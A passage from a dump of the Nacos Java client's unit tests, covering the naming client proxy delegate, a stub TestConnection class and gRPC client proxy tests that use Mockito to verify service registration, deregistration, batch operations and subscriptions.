testBatchRegisterServiceByGrpc() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setServiceName(serviceName);\n        instance.setClusterName(groupName);\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1);\n        instance.setEphemeral(true);\n        List<Instance> instanceList = new ArrayList<>();\n        delegate.batchRegisterService(serviceName, groupName, instanceList);\n        verify(mockGrpcClient, times(1)).batchRegisterService(serviceName, groupName, instanceList);\n    }\n    \n    @Test\n    void testBatchDeregisterServiceByGrpc() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        List<Instance> instanceList = new ArrayList<>();\n        delegate.batchDeregisterService(serviceName, groupName, instanceList);\n        verify(mockGrpcClient, times(1)).batchDeregisterService(serviceName, groupName, instanceList);\n        reset(mockGrpcClient);\n        instanceList.add(new Instance());\n        delegate.batchDeregisterService(serviceName, groupName, instanceList);\n        verify(mockGrpcClient, times(1)).batchDeregisterService(serviceName, groupName, instanceList);\n    }\n    \n    @Test\n    void testRegisterPersistentServiceByGrpc() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setServiceName(serviceName);\n        instance.setClusterName(groupName);\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1);\n        // persistent instance\n        instance.setEphemeral(false);\n        // when server support register persistent instance by grpc, will use grpc to register\n        when(mockGrpcClient.isAbilitySupportedByServer(\n                AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC)).thenReturn(true);\n        delegate.registerService(serviceName, groupName, instance);\n        verify(mockGrpcClient, times(1)).registerService(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void testRegisterPersistentServiceByHttp() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        NamingHttpClientProxy mockHttpClient = Mockito.mock(NamingHttpClientProxy.class);\n        Field mockHttpClientField = NamingClientProxyDelegate.class.getDeclaredField(\"httpClientProxy\");\n        mockHttpClientField.setAccessible(true);\n        mockHttpClientField.set(delegate, mockHttpClient);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setServiceName(serviceName);\n        instance.setClusterName(groupName);\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1);\n        // persistent instance\n        instance.setEphemeral(false);\n        // when server do not support register persistent instance by grpc, will use http to register\n        delegate.registerService(serviceName, groupName, instance);\n        verify(mockHttpClient, times(1)).registerService(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void testDeregisterEphemeralServiceGrpc() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setServiceName(serviceName);\n        instance.setClusterName(groupName);\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1);\n        // use grpc\n        instance.setEphemeral(true);\n        delegate.deregisterService(serviceName, groupName, instance);\n        verify(mockGrpcClient, times(1)).deregisterService(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void testDeregisterPersistentServiceGrpc() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setServiceName(serviceName);\n        instance.setClusterName(groupName);\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1);\n        // persistent instance\n        instance.setEphemeral(false);\n        // when server support deregister persistent instance by grpc, will use grpc to deregister\n        when(mockGrpcClient.isAbilitySupportedByServer(\n                AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC)).thenReturn(true);\n        delegate.deregisterService(serviceName, groupName, instance);\n        verify(mockGrpcClient, times(1)).deregisterService(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void testDeregisterPersistentServiceHttp() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        NamingHttpClientProxy mockHttpClient = Mockito.mock(NamingHttpClientProxy.class);\n        Field mockHttpClientField = NamingClientProxyDelegate.class.getDeclaredField(\"httpClientProxy\");\n        mockHttpClientField.setAccessible(true);\n        mockHttpClientField.set(delegate, mockHttpClient);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setServiceName(serviceName);\n        instance.setClusterName(groupName);\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1);\n        // use http\n        instance.setEphemeral(false);\n        delegate.deregisterService(serviceName, groupName, instance);\n        verify(mockHttpClient, times(1)).deregisterService(serviceName, groupName, instance);\n    }\n    \n    @Test\n    void testUpdateInstance() {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        Assertions.assertDoesNotThrow(() -> {\n            delegate.updateInstance(serviceName, groupName, instance);\n        });\n    }\n    \n    @Test\n    void testQueryInstancesOfService() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String clusters = \"cluster1\";\n        delegate.queryInstancesOfService(serviceName, groupName, clusters, false);\n        verify(mockGrpcClient, times(1)).queryInstancesOfService(serviceName, groupName, clusters, false);\n    }\n    \n    @Test\n    void testQueryService() throws NacosException {\n        Service service = delegate.queryService(\"a\", \"b\");\n        assertNull(service);\n    }\n    \n    @Test\n    void testCreateService() {\n        Service service = new Service();\n        Assertions.assertDoesNotThrow(() -> {\n            delegate.createService(service, new NoneSelector());\n        });\n    }\n    \n    @Test\n    void testDeleteService() throws NacosException {\n        assertFalse(delegate.deleteService(\"service\", \"group1\"));\n    }\n    \n    @Test\n    void testUpdateService() {\n        Service service = new Service();\n        Assertions.assertDoesNotThrow(() -> {\n            delegate.updateService(service, new ExpressionSelector());\n        });\n    }\n    \n    @Test\n    void testGetServiceList() throws NacosException {\n        AbstractSelector selector = new ExpressionSelector();\n        int pageNo = 1;\n        int pageSize = 10;\n        String groupName = \"group2\";\n        delegate.getServiceList(pageNo, pageSize, groupName, selector);\n        verify(mockGrpcClient, times(1)).getServiceList(pageNo, pageSize, groupName, selector);\n        \n    }\n    \n    @Test\n    void testSubscribe() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String clusters = \"cluster1\";\n        ServiceInfo info = new ServiceInfo();\n        info.setName(serviceName);\n        info.setGroupName(groupName);\n        info.setClusters(clusters);\n        when(mockGrpcClient.subscribe(serviceName, groupName, clusters)).thenReturn(info);\n        \n        ServiceInfo actual = delegate.subscribe(serviceName, groupName, clusters);\n        assertEquals(info, actual);\n        verify(mockGrpcClient, times(1)).subscribe(serviceName, groupName, clusters);\n        verify(holder, times(1)).processServiceInfo(info);\n        \n    }\n    \n    @Test\n    void testUnsubscribe() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String clusters = \"cluster1\";\n        delegate.unsubscribe(serviceName, groupName, clusters);\n        verify(mockGrpcClient, times(1)).unsubscribe(serviceName, groupName, clusters);\n    }\n    \n    @Test\n    void testServerHealthy() {\n        Mockito.when(mockGrpcClient.serverHealthy()).thenReturn(true);\n        assertTrue(delegate.serverHealthy());\n    }\n    \n    @Test\n    void testIsSubscribed() throws NacosException {\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String clusters = \"cluster1\";\n        assertFalse(delegate.isSubscribed(serviceName, groupName, clusters));\n        when(mockGrpcClient.isSubscribed(serviceName, groupName, clusters)).thenReturn(true);\n        assertTrue(delegate.isSubscribed(serviceName, groupName, clusters));\n    }\n    \n    @Test\n    void testShutdown() throws NacosException {\n        delegate.shutdown();\n        verify(mockGrpcClient, times(1)).shutdown();\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/TestConnection.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.api.remote.RequestFuture;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\n\npublic class TestConnection extends Connection {\n    \n    public TestConnection(RpcClient.ServerInfo serverInfo) {\n        super(serverInfo);\n    }\n    \n    @Override\n    public Response request(Request request, long timeoutMills) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public RequestFuture requestFuture(Request request) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void asyncRequest(Request request, RequestCallBack requestCallBack) throws NacosException {\n    \n    }\n    \n    @Override\n    public void close() {\n    \n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/gprc/NamingGrpcClientProxyTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.remote.NamingRemoteConstants;\nimport com.alibaba.nacos.api.naming.remote.request.BatchInstanceRequest;\nimport com.alibaba.nacos.api.naming.remote.request.InstanceRequest;\nimport com.alibaba.nacos.api.naming.remote.request.PersistentInstanceRequest;\nimport com.alibaba.nacos.api.naming.remote.request.SubscribeServiceRequest;\nimport com.alibaba.nacos.api.naming.remote.response.BatchInstanceResponse;\nimport com.alibaba.nacos.api.naming.remote.response.InstanceResponse;\nimport com.alibaba.nacos.api.naming.remote.response.QueryServiceResponse;\nimport com.alibaba.nacos.api.naming.remote.response.ServiceListResponse;\nimport com.alibaba.nacos.api.naming.remote.response.SubscribeServiceResponse;\nimport com.alibaba.nacos.api.remote.DefaultRequestFuture;\nimport com.alibaba.nacos.api.remote.RequestCallBack;\nimport com.alibaba.nacos.api.remote.RequestFuture;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.ErrorResponse;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\nimport com.alibaba.nacos.api.selector.ExpressionSelector;\nimport com.alibaba.nacos.api.selector.NoneSelector;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchServiceListHolder;\nimport com.alibaba.nacos.client.address.ServerListChangeEvent;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.NamingGrpcRedoService;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.RpcClientFactory;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClient;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcConstants;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.TimeUnit;\nimport java.util.stream.Collectors;\nimport java.util.stream.Stream;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.argThat;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo  remove strictness lenient\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass NamingGrpcClientProxyTest {\n    \n    private static final String NAMESPACE_ID = \"ns1\";\n    \n    private static final String SERVICE_NAME = \"service1\";\n    \n    private static final String GROUP_NAME = \"group1\";\n    \n    private static final String CLUSTERS = \"cluster1\";\n    \n    private static final String ORIGIN_SERVER = \"www.google.com\";\n    \n    @Mock\n    private SecurityProxy proxy;\n    \n    @Mock\n    private ServerListFactory factory;\n    \n    @Mock\n    private ServiceInfoHolder holder;\n    \n    @Mock\n    private NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder;\n    \n    @Mock\n    private RpcClient rpcClient;\n    \n    private Properties prop;\n    \n    private NamingGrpcClientProxy client;\n    \n    private Response response;\n    \n    private Instance instance;\n    \n    private Instance persistentInstance;\n    \n    private String uuid;\n    \n    @BeforeEach\n    void setUp() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        System.setProperty(GrpcConstants.GRPC_RETRY_TIMES, \"1\");\n        System.setProperty(GrpcConstants.GRPC_SERVER_CHECK_TIMEOUT, \"100\");\n        List<String> serverList = Stream.of(ORIGIN_SERVER, \"anotherServer\").collect(Collectors.toList());\n        when(factory.getServerList()).thenReturn(serverList);\n        when(factory.genNextServer()).thenReturn(ORIGIN_SERVER);\n        prop = new Properties();\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        client = new NamingGrpcClientProxy(NAMESPACE_ID, proxy, factory, nacosClientProperties, holder,\n                namingFuzzyWatchServiceListHolder);\n        \n        Field uuidField = NamingGrpcClientProxy.class.getDeclaredField(\"uuid\");\n        uuidField.setAccessible(true);\n        uuid = (String) uuidField.get(client);\n        \n        assertNotNull(RpcClientFactory.getClient(uuid));\n        Field rpcClientField = NamingGrpcClientProxy.class.getDeclaredField(\"rpcClient\");\n        rpcClientField.setAccessible(true);\n        ((RpcClient) rpcClientField.get(client)).shutdown();\n        rpcClientField.set(client, this.rpcClient);\n        \n        response = new InstanceResponse();\n        when(this.rpcClient.request(any())).thenReturn(response);\n        instance = new Instance();\n        instance.setServiceName(SERVICE_NAME);\n        instance.setIp(\"1.1.1.1\");\n        instance.setPort(1111);\n        \n        persistentInstance = new Instance();\n        persistentInstance.setServiceName(SERVICE_NAME);\n        persistentInstance.setIp(\"1.1.1.1\");\n        persistentInstance.setPort(1111);\n        persistentInstance.setEphemeral(false);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        System.clearProperty(GrpcConstants.GRPC_RETRY_TIMES);\n        System.clearProperty(GrpcConstants.GRPC_SERVER_CHECK_TIMEOUT);\n        client.shutdown();\n    }\n    \n    @Test\n    void testRegisterService() throws NacosException {\n        client.registerService(SERVICE_NAME, GROUP_NAME, instance);\n        verify(this.rpcClient, times(1)).request(argThat(request -> {\n            if (request instanceof InstanceRequest) {\n                InstanceRequest request1 = (InstanceRequest) request;\n                return request1.getType().equals(NamingRemoteConstants.REGISTER_INSTANCE);\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testRegisterPersistentService() throws NacosException {\n        client.registerService(SERVICE_NAME, GROUP_NAME, persistentInstance);\n        verify(this.rpcClient, times(1)).request(argThat(request -> {\n            if (request instanceof PersistentInstanceRequest) {\n                PersistentInstanceRequest request1 = (PersistentInstanceRequest) request;\n                return request1.getType().equals(NamingRemoteConstants.REGISTER_INSTANCE);\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testRegisterServiceThrowsNacosException() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            when(this.rpcClient.request(Mockito.any())).thenReturn(ErrorResponse.build(400, \"err args\"));\n            \n            try {\n                client.registerService(SERVICE_NAME, GROUP_NAME, instance);\n            } catch (NacosException ex) {\n                assertNull(ex.getCause());\n                \n                throw ex;\n            }\n        });\n        assertTrue(exception.getMessage().contains(\"err args\"));\n    }\n    \n    @Test\n    void testRegisterServiceThrowsException() throws NacosException {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            when(this.rpcClient.request(Mockito.any())).thenReturn(null);\n            \n            try {\n                client.registerService(SERVICE_NAME, GROUP_NAME, instance);\n            } catch (NacosException ex) {\n                assertEquals(NullPointerException.class, ex.getCause().getClass());\n                \n                throw ex;\n            }\n        });\n        assertTrue(exception.getMessage().contains(\"Request nacos server failed: \"));\n    }\n    \n    @Test\n    void testDeregisterService() throws NacosException {\n        client.deregisterService(SERVICE_NAME, GROUP_NAME, instance);\n        verify(this.rpcClient, times(1)).request(argThat(request -> {\n            if (request instanceof InstanceRequest) {\n                InstanceRequest request1 = (InstanceRequest) request;\n                return request1.getType().equals(NamingRemoteConstants.DE_REGISTER_INSTANCE);\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testDeregisterPersistentService() throws NacosException {\n        client.deregisterService(SERVICE_NAME, GROUP_NAME, persistentInstance);\n        verify(this.rpcClient, times(1)).request(argThat(request -> {\n            if (request instanceof PersistentInstanceRequest) {\n                PersistentInstanceRequest request1 = (PersistentInstanceRequest) request;\n                return request1.getType().equals(NamingRemoteConstants.DE_REGISTER_INSTANCE);\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testDeregisterServiceForBatchRegistered() throws NacosException {\n        try {\n            List<Instance> instanceList = new ArrayList<>();\n            instance.setHealthy(true);\n            instanceList.add(instance);\n            instanceList.add(new Instance());\n            client.batchRegisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        } catch (Exception ignored) {\n        }\n        response = new BatchInstanceResponse();\n        when(this.rpcClient.request(any())).thenReturn(response);\n        List<Instance> instanceList = new ArrayList<>();\n        instance.setHealthy(true);\n        instanceList.add(instance);\n        client.deregisterService(SERVICE_NAME, GROUP_NAME, instance);\n        verify(this.rpcClient, times(1)).request(argThat(request -> {\n            if (request instanceof BatchInstanceRequest) {\n                BatchInstanceRequest request1 = (BatchInstanceRequest) request;\n                request1.setRequestId(\"1\");\n                return request1.getInstances().size() == 1 && request1.getType()\n                        .equals(NamingRemoteConstants.BATCH_REGISTER_INSTANCE);\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testBatchRegisterService() throws NacosException {\n        List<Instance> instanceList = new ArrayList<>();\n        instance.setHealthy(true);\n        instanceList.add(instance);\n        response = new BatchInstanceResponse();\n        when(this.rpcClient.request(any())).thenReturn(response);\n        client.batchRegisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        verify(this.rpcClient, times(1)).request(argThat(request -> {\n            if (request instanceof BatchInstanceRequest) {\n                BatchInstanceRequest request1 = (BatchInstanceRequest) request;\n                request1.setRequestId(\"1\");\n                return request1.getType().equals(NamingRemoteConstants.BATCH_REGISTER_INSTANCE);\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testBatchDeregisterServiceWithEmptyInstances() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            client.batchDeregisterService(SERVICE_NAME, GROUP_NAME, Collections.EMPTY_LIST);\n        });\n    }\n    \n    @Test\n    void testBatchDeregisterServiceWithoutCacheData() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            List<Instance> instanceList = new ArrayList<>();\n            instance.setHealthy(true);\n            instanceList.add(instance);\n            client.batchDeregisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        });\n    }\n    \n    @Test\n    void testBatchDeregisterServiceNotBatchData() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            client.registerService(SERVICE_NAME, GROUP_NAME, instance);\n            List<Instance> instanceList = new ArrayList<>();\n            instance.setHealthy(true);\n            instanceList.add(instance);\n            client.batchDeregisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        });\n    }\n    \n    @Test\n    void testBatchDeregisterServiceWithEmptyBatchData() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            try {\n                client.batchRegisterService(SERVICE_NAME, GROUP_NAME, Collections.EMPTY_LIST);\n            } catch (Exception ignored) {\n            }\n            List<Instance> instanceList = new ArrayList<>();\n            instance.setHealthy(true);\n            instanceList.add(instance);\n            client.batchDeregisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        });\n    }\n    \n    @Test\n    void testBatchDeregisterService() throws NacosException {\n        try {\n            List<Instance> instanceList = new ArrayList<>();\n            instance.setHealthy(true);\n            instanceList.add(instance);\n            instanceList.add(new Instance());\n            client.batchRegisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        } catch (Exception ignored) {\n        }\n        response = new BatchInstanceResponse();\n        when(this.rpcClient.request(any())).thenReturn(response);\n        List<Instance> instanceList = new ArrayList<>();\n        instance.setHealthy(true);\n        instanceList.add(instance);\n        client.batchDeregisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        verify(this.rpcClient, times(1)).request(argThat(request -> {\n            if (request instanceof BatchInstanceRequest) {\n                BatchInstanceRequest request1 = (BatchInstanceRequest) request;\n                request1.setRequestId(\"1\");\n                return request1.getInstances().size() == 1 && request1.getType()\n                        .equals(NamingRemoteConstants.BATCH_REGISTER_INSTANCE);\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testBatchDeregisterServiceWithOtherPortInstance() throws NacosException {\n        try {\n            List<Instance> instanceList = new ArrayList<>();\n            instance.setHealthy(true);\n            instanceList.add(instance);\n            instanceList.add(new Instance());\n            client.batchRegisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        } catch (Exception ignored) {\n        }\n        response = new BatchInstanceResponse();\n        when(this.rpcClient.request(any())).thenReturn(response);\n        Instance otherPortInstance = new Instance();\n        otherPortInstance.setServiceName(SERVICE_NAME);\n        otherPortInstance.setIp(\"1.1.1.1\");\n        otherPortInstance.setPort(2222);\n        List<Instance> instanceList = new ArrayList<>();\n        instanceList.add(otherPortInstance);\n        client.batchDeregisterService(SERVICE_NAME, GROUP_NAME, instanceList);\n        verify(this.rpcClient, times(2)).request(argThat(request -> {\n            if (request instanceof BatchInstanceRequest) {\n                BatchInstanceRequest request1 = (BatchInstanceRequest) request;\n                request1.setRequestId(\"1\");\n                return request1.getInstances().size() == 2 && request1.getType()\n                        .equals(NamingRemoteConstants.BATCH_REGISTER_INSTANCE);\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testUpdateInstance() throws Exception {\n        //TODO thrown.expect(UnsupportedOperationException.class);\n        client.updateInstance(SERVICE_NAME, GROUP_NAME, instance);\n    }\n    \n    @Test\n    void testQueryInstancesOfService() throws Exception {\n        QueryServiceResponse res = new QueryServiceResponse();\n        ServiceInfo info = new ServiceInfo(GROUP_NAME + \"@@\" + SERVICE_NAME + \"@@\" + CLUSTERS);\n        res.setServiceInfo(info);\n        when(this.rpcClient.request(any())).thenReturn(res);\n        ServiceInfo actual = client.queryInstancesOfService(SERVICE_NAME, GROUP_NAME, CLUSTERS, false);\n        assertEquals(info, actual);\n    }\n    \n    @Test\n    void testQueryService() throws Exception {\n        Service service = client.queryService(SERVICE_NAME, GROUP_NAME);\n        assertNull(service);\n    }\n    \n    @Test\n    void testCreateService() throws Exception {\n        //TODO thrown.expect(UnsupportedOperationException.class);\n        Service service = new Service();\n        AbstractSelector selector = new NoneSelector();\n        client.createService(service, selector);\n    }\n    \n    @Test\n    void testDeleteService() throws Exception {\n        //TODO thrown.expect(UnsupportedOperationException.class);\n        assertFalse(client.deleteService(SERVICE_NAME, GROUP_NAME));\n    }\n    \n    @Test\n    void testUpdateService() throws NacosException {\n        //TODO thrown.expect(UnsupportedOperationException.class);\n        Service service = new Service();\n        AbstractSelector selector = new NoneSelector();\n        client.updateService(service, selector);\n    }\n    \n    @Test\n    void testGetServiceList() throws Exception {\n        ServiceListResponse res = new ServiceListResponse();\n        List<String> services = Arrays.asList(\"service1\", \"service2\");\n        res.setServiceNames(services);\n        res.setCount(5);\n        when(this.rpcClient.request(any())).thenReturn(res);\n        AbstractSelector selector = new NoneSelector();\n        ListView<String> serviceList = client.getServiceList(1, 10, GROUP_NAME, selector);\n        assertEquals(5, serviceList.getCount());\n        assertEquals(services, serviceList.getData());\n    }\n    \n    @Test\n    void testGetServiceListForLabelSelector() throws Exception {\n        ServiceListResponse res = new ServiceListResponse();\n        List<String> services = Arrays.asList(\"service1\", \"service2\");\n        res.setServiceNames(services);\n        res.setCount(5);\n        when(this.rpcClient.request(any())).thenReturn(res);\n        AbstractSelector selector = new ExpressionSelector();\n        ListView<String> serviceList = client.getServiceList(1, 10, GROUP_NAME, selector);\n        assertEquals(5, serviceList.getCount());\n        assertEquals(services, serviceList.getData());\n    }\n    \n    @Test\n    void testSubscribe() throws Exception {\n        SubscribeServiceResponse res = new SubscribeServiceResponse();\n        ServiceInfo info = new ServiceInfo(GROUP_NAME + \"@@\" + SERVICE_NAME + \"@@\" + CLUSTERS);\n        res.setServiceInfo(info);\n        when(this.rpcClient.request(any())).thenReturn(res);\n        ServiceInfo actual = client.subscribe(SERVICE_NAME, GROUP_NAME, CLUSTERS);\n        assertEquals(info, actual);\n    }\n    \n    @Test\n    void testUnsubscribe() throws Exception {\n        SubscribeServiceResponse res = new SubscribeServiceResponse();\n        ServiceInfo info = new ServiceInfo(GROUP_NAME + \"@@\" + SERVICE_NAME + \"@@\" + CLUSTERS);\n        res.setServiceInfo(info);\n        when(this.rpcClient.request(any())).thenReturn(res);\n        client.unsubscribe(SERVICE_NAME, GROUP_NAME, CLUSTERS);\n        verify(this.rpcClient, times(1)).request(argThat(request -> {\n            if (request instanceof SubscribeServiceRequest) {\n                SubscribeServiceRequest request1 = (SubscribeServiceRequest) request;\n                \n                // verify request fields\n                return !request1.isSubscribe() && SERVICE_NAME.equals(request1.getServiceName()) && GROUP_NAME.equals(\n                        request1.getGroupName()) && CLUSTERS.equals(request1.getClusters()) && NAMESPACE_ID.equals(\n                        request1.getNamespace());\n            }\n            return false;\n        }));\n    }\n    \n    @Test\n    void testIsSubscribed() throws NacosException {\n        SubscribeServiceResponse res = new SubscribeServiceResponse();\n        ServiceInfo info = new ServiceInfo(GROUP_NAME + \"@@\" + SERVICE_NAME + \"@@\" + CLUSTERS);\n        res.setServiceInfo(info);\n        when(this.rpcClient.request(any())).thenReturn(res);\n        assertFalse(client.isSubscribed(SERVICE_NAME, GROUP_NAME, CLUSTERS));\n        client.subscribe(SERVICE_NAME, GROUP_NAME, CLUSTERS);\n        assertTrue(client.isSubscribed(SERVICE_NAME, GROUP_NAME, CLUSTERS));\n    }\n    \n    @Test\n    void testServerHealthy() {\n        when(this.rpcClient.isRunning()).thenReturn(true);\n        assertTrue(client.serverHealthy());\n        verify(this.rpcClient, times(1)).isRunning();\n    }\n    \n    @Test\n    void testIsAbilitySupportedByServer1() {\n        when(this.rpcClient.getConnectionAbility(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC)).thenReturn(\n                AbilityStatus.SUPPORTED);\n        assertTrue(client.isAbilitySupportedByServer(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC));\n        verify(this.rpcClient, times(1)).getConnectionAbility(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC);\n    }\n    \n    @Test\n    void testIsAbilitySupportedByServer2() {\n        when(this.rpcClient.getConnectionAbility(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC)).thenReturn(\n                AbilityStatus.NOT_SUPPORTED);\n        assertFalse(client.isAbilitySupportedByServer(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC));\n        verify(this.rpcClient, times(1)).getConnectionAbility(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC);\n    }\n    \n    @Test\n    void testIsAbilitySupportedByServer3() {\n        when(this.rpcClient.getConnectionAbility(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC)).thenReturn(\n                AbilityStatus.UNKNOWN);\n        assertFalse(client.isAbilitySupportedByServer(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC));\n        verify(this.rpcClient, times(1)).getConnectionAbility(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC);\n    }\n    \n    @Test\n    void testIsAbilitySupportedByServer4() {\n        